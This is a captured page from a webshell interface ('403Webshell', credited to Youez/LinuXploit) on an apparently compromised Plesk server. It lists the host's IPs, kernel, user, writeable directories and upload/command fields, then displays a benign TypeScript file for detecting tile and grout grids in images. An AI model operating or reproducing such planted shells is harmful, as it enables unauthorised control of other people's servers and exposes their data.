403Webshell
Server IP : 217.154.3.148  /  Your IP : 216.73.216.90
Web Server : nginx/1.30.3
System : Linux blissful-wright.217-154-3-148.plesk.page 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : gracious-boyd_hfhh1h8vo9n ( 10000)
PHP Version : 8.3.31
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/gracious-boyd.217-154-3-148.plesk.page/nextjs/app/api/analyze/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/gracious-boyd.217-154-3-148.plesk.page/nextjs/app/api/analyze/robust.ts
import Jimp from 'jimp';

type Grid = { vlines: number[]; hlines: number[] };
export type RobustResult = {
  tile_w_px: number;
  tile_h_px: number;
  grout_px: number;
  grid: Grid;
  source: string;
};

type Opts = {
  maxWorkSide?: number;
  minPeriodPx?: number;
  maxPeriodPx?: number;
  smoothWin?: number;
  tolFrac?: number;
  minLines?: number;
};

const DEFAULTS: Required<Opts> = {
  maxWorkSide: 1200,
  minPeriodPx: 12,
  maxPeriodPx: 400,
  smoothWin: 7,
  tolFrac: 0.18,
  minLines: 3,
};

/* ---------------- LRU Cache (phash-basiert) ---------------- */
class LRU<V> {
  private map = new Map<string, V>();
  constructor(private max = 50) {}
  get(k: string): V | undefined {
    const v = this.map.get(k);
    if (v !== undefined) { this.map.delete(k); this.map.set(k, v); }
    return v;
  }
  set(k: string, v: V) {
    if (this.map.has(k)) this.map.delete(k);
    this.map.set(k, v);
    if (this.map.size > this.max) {
      const first = this.map.keys().next().value;
      if (first !== undefined) {
        this.map.delete(first);
      }
    }
  }
}
const lru = new LRU<RobustResult>(60);

/** Öffentliche API: gecachte robuste Erkennung */
export async function detectGridWithOcclusionCached(img: Jimp, opts: Opts = {}): Promise<RobustResult> {
  const key = "robust:" + safePhash(img) + ":" + JSON.stringify({ v:1, o: shapeOpts(opts) });
  const hit = lru.get(key);
  if (hit) return hit;
  const res = await detectGridWithOcclusion(img, opts);
  lru.set(key, res);
  return res;
}

/** Öffentliche API: robuste Erkennung ohne Cache */
export async function detectGridWithOcclusion(img: Jimp, opts: Opts = {}): Promise<RobustResult> {
  const o = { ...DEFAULTS, ...opts };

  // Arbeitskopie
  const w0 = img.bitmap.width, h0 = img.bitmap.height;
  const scale = Math.min(1, o.maxWorkSide / Math.max(w0, h0));
  const work = img.clone();
  if (scale < 1) work.resize(Math.round(w0 * scale), Math.round(h0 * scale), Jimp.RESIZE_BILINEAR);
  const w = work.bitmap.width, h = work.bitmap.height;
  const sx = w0 / w, sy = h0 / h;

  // Einmal Graustufen buffer bauen (uint8)
  const gray = toGrayU8(work);

  // Projektionen aus Raw-Buffer (ohne getPixelColor)
  const projX = projectionAbsGxFast(gray, w, h);
  const projY = projectionAbsGyFast(gray, w, h);

  // Glätten
  const fx = smooth1D(projX, o.smoothWin);
  const fy = smooth1D(projY, o.smoothWin);

  // Periode via Autokorrelation
  const periodX = estimatePeriodAC(fx, o.minPeriodPx, Math.min(o.maxPeriodPx, Math.floor(fx.length/2)));
  const periodY = estimatePeriodAC(fy, o.minPeriodPx, Math.min(o.maxPeriodPx, Math.floor(fy.length/2)));
  if (!periodX || !periodY) throw new Error('period not found');

  const tolX = Math.max(1, Math.round(periodX * o.tolFrac));
  const tolY = Math.max(1, Math.round(periodY * o.tolFrac));

  const gx = fitGrid1D(fx, periodX, tolX);
  const gy = fitGrid1D(fy, periodY, tolY);
  if (gx.lines.length < o.minLines || gy.lines.length < o.minLines) {
    throw new Error('too few lines');
  }

  // Fugenbreite per FWHM
  const widthsX = gx.lines.map(x => peakWidthAt(fx, x, gx.period));
  const widthsY = gy.lines.map(y => peakWidthAt(fy, y, gy.period));
  const groutPxWork = median(widthsX.concat(widthsY).filter(n => isFinite(n) && n>0)) || 2;

  // auf Originalmaß zurück
  const vlines = gx.lines.map(x => Math.round(x * sx)).filter(x => x>0 && x<w0);
  const hlines = gy.lines.map(y => Math.round(y * sy)).filter(y => y>0 && y<h0);

  const tile_w_px = Math.max(1, Math.round(gx.period * sx));
  const tile_h_px = Math.max(1, Math.round(gy.period * sy));
  const grout_px  = Math.max(1, Math.round(groutPxWork * ((sx+sy)/2)));

  return {
    tile_w_px,
    tile_h_px,
    grout_px,
    grid: { vlines, hlines },
    source: 'cv@robust1d+ac+tolerant-peaks+rawbuf',
  };
}

/* ---------------- Hilfen: Raw-Buffer/Projektionen ---------------- */
function toGrayU8(im: Jimp): Uint8Array {
  const { data } = im.bitmap as unknown as { data: Buffer };
  const w = im.bitmap.width, h = im.bitmap.height;
  const out = new Uint8Array(w*h);
  let j=0;
  for (let i=0; i<data.length; i+=4, j++) {
    const r = data[i], g = data[i+1], b = data[i+2];
    out[j] = ( (299*r + 587*g + 114*b) / 1000 )|0;
  }
  return out;
}
function projectionAbsGxFast(gray: Uint8Array, w: number, h: number): number[] {
  const col = new Float64Array(w);
  for (let y=0; y<h; y++) {
    const row = y*w;
    for (let x=1; x<w-1; x++) {
      const gx = gray[row + x + 1] - gray[row + x - 1];
      col[x] += Math.abs(gx);
    }
    // Rand glätten minimal
    col[0] += col[1];
    col[w-1] += col[w-2];
  }
  col[0] = col[1]; col[w-1] = col[w-2];
  return Array.from(col);
}
function projectionAbsGyFast(gray: Uint8Array, w: number, h: number): number[] {
  const row = new Float64Array(h);
  for (let y=1; y<h-1; y++) {
    const ym = (y-1)*w;
    const yp = (y+1)*w;
    for (let x=0; x<w; x++) {
      const gy = gray[yp + x] - gray[ym + x];
      row[y] += Math.abs(gy);
    }
  }
  row[0] = row[1]; row[h-1] = row[h-2];
  return Array.from(row);
}

/* ---------------- Hilfen: 1D Signalverarbeitung ---------------- */
function smooth1D(a: number[], win: number): number[] {
  const n = a.length, k = Math.max(1, win|0);
  const out = new Array<number>(n).fill(0);
  let s=0;
  for (let i=0;i<n;i++) {
    s += a[i];
    if (i>=k) s -= a[i-k];
    const len = Math.min(i+1, k);
    out[i] = s / len;
  }
  // rückwärts
  s = 0;
  const out2 = new Array<number>(n).fill(0);
  for (let i=n-1;i>=0;i--) {
    s += out[i];
    const idx = (n-1-i);
    if (idx>=k) s -= out[i+k] || 0;
    const len = Math.min(idx+1, k);
    out2[i] = s / len;
  }
  return out2;
}
function estimatePeriodAC(sig: number[], minLag: number, maxLag: number): number | null {
  const n = sig.length;
  if (maxLag <= minLag+2) return null;
  const mean = sig.reduce((p,v)=>p+v,0)/n;
  const x = sig.map(v=>v-mean);
  let bestLag=0, best=-Infinity;
  const maxL = Math.min(maxLag, Math.floor(n/2));
  for (let lag=minLag; lag<=maxL; lag++) {
    let num=0, den0=0, den1=0;
    for (let i=0;i<n-lag;i++) {
      const a=x[i], b=x[i+lag];
      num += a*b; den0 += a*a; den1 += b*b;
    }
    const corr = num / Math.sqrt((den0||1)*(den1||1));
    if (corr>best) { best=corr; bestLag=lag; }
  }
  return bestLag||null;
}
function fitGrid1D(sig: number[], period: number, tol: number) {
  const n = sig.length, p = Math.max(1, Math.round(period));
  let bestOff=0, bestScore=-Infinity;
  const window = Math.max(1, tol|0);
  for (let off=0; off<p; off++) {
    let score=0;
    for (let k=0;;k++) {
      const pos = off + k*p; if (pos>=n) break;
      const a = Math.max(0, pos-window), b = Math.min(n-1, pos+window);
      let localMax=0; for (let i=a;i<=b;i++) if (sig[i]>localMax) localMax=sig[i];
      score += localMax;
    }
    if (score>bestScore) { bestScore=score; bestOff=off; }
  }
  const lines:number[]=[];
  for (let k=0;;k++) {
    const pos = bestOff + k*p; if (pos>=n) break;
    const a = Math.max(0, pos-window), b = Math.min(n-1, pos+window);
    let bestI=pos, bestV=-Infinity;
    for (let i=a;i<=b;i++) if (sig[i]>bestV) { bestV=sig[i]; bestI=i; }
    lines.push(bestI);
  }
  return { offset: bestOff, period: p, lines };
}
function peakWidthAt(sig: number[], center: number, period: number): number {
  const n = sig.length, c = Math.max(0, Math.min(n-1, Math.round(center)));
  const peak = sig[c]; if (!isFinite(peak) || peak<=0) return 1;
  const thr = peak * 0.5;
  const maxSpan = Math.max(2, Math.round(period*0.6));
  let L=c, R=c;
  for (let i=c;i>=Math.max(0, c-maxSpan);i--) { L=i; if (sig[i]<thr) break; }
  for (let i=c;i<=Math.min(n-1, c+maxSpan);i++) { R=i; if (sig[i]<thr) break; }
  return Math.max(1, R-L+1);
}
function median(a:number[]):number{
  if (a.length===0) return NaN;
  const s=a.slice().sort((x,y)=>x-y); const m=Math.floor(s.length/2);
  return s.length%2 ? s[m] : (s[m-1]+s[m])/2;
}
function safePhash(img: Jimp): string {
  try { return img.hash?.(16) ?? `${img.bitmap.width}x${img.bitmap.height}:${img.bitmap.data.length}`; }
  catch { return `${img.bitmap.width}x${img.bitmap.height}:${img.bitmap.data.length}`; }
}
function shapeOpts(o: Opts){ return {
  m:o.maxWorkSide, a:o.minPeriodPx, b:o.maxPeriodPx, s:o.smoothWin, t:o.tolFrac, l:o.minLines
}; }

Youez - 2016 - github.com/yon3zu
LinuXploit